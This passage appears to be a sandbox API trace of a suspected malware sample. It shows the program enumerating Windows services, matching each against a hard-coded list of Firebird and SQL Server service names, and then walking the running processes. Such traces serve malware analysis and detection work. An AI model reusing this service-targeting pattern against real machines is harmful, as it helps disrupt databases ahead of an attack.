	[0087.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0087.652] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0087.652] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0087.653] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0087.653] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0087.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0087.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0087.653] lstrlenW (lpString="CryptSvc") returned 8
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0087.653] lstrlenW (lpString="DcomLaunch") returned 10
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0087.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0087.653] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0087.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0087.653] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0087.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0087.653] lstrlenW (lpString="Dhcp") returned 4
	[0087.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0087.654] lstrlenW (lpString="Dnscache") returned 8
	[0087.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0087.654] lstrlenW (lpString="DoSvc") returned 5
	[0087.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0087.654] lstrlenW (lpString="DPS") returned 3
	[0087.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0087.654] lstrlenW (lpString="DusmSvc") returned 7
	[0087.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0087.654] lstrlenW (lpString="EventLog") returned 8
	[0087.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0087.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0087.654] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0087.654] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0087.655] lstrlenW (lpString="EventSystem") returned 11
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0087.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0087.655] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0087.655] lstrlenW (lpString="FontCache") returned 9
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0087.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0087.655] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0087.655] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0087.655] lstrlenW (lpString="gpsvc") returned 5
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0087.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0087.655] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0087.655] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0087.655] lstrlenW (lpString="iphlpsvc") returned 8
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.655] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0087.655] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0087.655] lstrlenW (lpString="KeyIso") returned 6
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0087.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0087.655] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0087.655] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0087.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0087.655] lstrlenW (lpString="LanmanServer") returned 12
	[0087.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0087.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0087.656] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0087.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0087.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0087.656] lstrlenW (lpString="lfsvc") returned 5
	[0087.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0087.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0087.656] lstrlenW (lpString="lmhosts") returned 7
	[0087.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0087.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0087.656] lstrlenW (lpString="LSM") returned 3
	[0087.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0087.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0087.656] lstrlenW (lpString="MpsSvc") returned 6
	[0087.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.656] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0087.656] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0087.657] lstrlenW (lpString="NcbService") returned 10
	[0087.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0087.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0087.657] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0087.657] lstrlenW (lpString="netprofm") returned 8
	[0087.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0087.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0087.657] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0087.657] lstrlenW (lpString="NlaSvc") returned 6
	[0087.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0087.657] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0087.657] lstrlenW (lpString="nsi") returned 3
	[0087.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0087.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0087.657] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0087.657] lstrlenW (lpString="PcaSvc") returned 6
	[0087.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0087.657] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0087.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0087.657] lstrlenW (lpString="PlugPlay") returned 8
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0087.658] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0087.658] lstrlenW (lpString="Power") returned 5
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0087.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0087.658] lstrlenW (lpString="ProfSvc") returned 7
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0087.658] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0087.658] lstrlenW (lpString="RpcEptMapper") returned 12
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0087.658] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0087.658] lstrlenW (lpString="RpcSs") returned 5
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0087.658] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0087.658] lstrlenW (lpString="SamSs") returned 5
	[0087.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0087.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0087.658] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0087.659] lstrlenW (lpString="Schedule") returned 8
	[0087.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0087.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0087.659] lstrlenW (lpString="SecurityHealthService") returned 21
	[0087.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0087.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0087.659] lstrlenW (lpString="SENS") returned 4
	[0087.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0087.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0087.659] lstrlenW (lpString="ShellHWDetection") returned 16
	[0087.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0087.659] lstrlenW (lpString="Spooler") returned 7
	[0087.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0087.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0087.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0087.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0087.659] lstrlenW (lpString="sppsvc") returned 6
	[0087.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1
	[0087.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1
	[0087.660] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1
	[0087.660] lstrlenW (lpString="SSDPSRV") returned 7
	[0087.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0087.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0087.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0087.660] lstrlenW (lpString="StateRepository") returned 15
	[0087.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0087.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0087.660] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0087.660] lstrlenW (lpString="SysMain") returned 7
	[0087.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0087.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0087.660] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0087.660] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0087.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43587b0 | out: hHeap=0x4f0000) returned 1
	[0087.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394
	[0088.100] Process32FirstW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0088.100] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0088.101] lstrlenW (lpString="System") returned 6
	[0088.101] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0088.102] lstrlenW (lpString="smss.exe") returned 8
	[0088.102] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0088.102] lstrlenW (lpString="csrss.exe") returned 9
	[0088.102] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0088.103] lstrlenW (lpString="wininit.exe") returned 11
	[0088.103] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0088.103] lstrlenW (lpString="csrss.exe") returned 9
	[0088.103] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0088.104] lstrlenW (lpString="winlogon.exe") returned 12
	[0088.104] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0088.104] lstrlenW (lpString="services.exe") returned 12
	[0088.104] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0088.105] lstrlenW (lpString="lsass.exe") returned 9
	[0088.105] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.105] lstrlenW (lpString="svchost.exe") returned 11
	[0088.105] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.106] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.106] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0088.106] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0088.107] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.107] lstrlenW (lpString="svchost.exe") returned 11
	[0088.107] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0088.108] lstrlenW (lpString="dwm.exe") returned 7
	[0088.108] Process32NextW (in: hSnapshot=0x394, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0088.108] lstrlenW (lpString="svchost.exe") returned 11
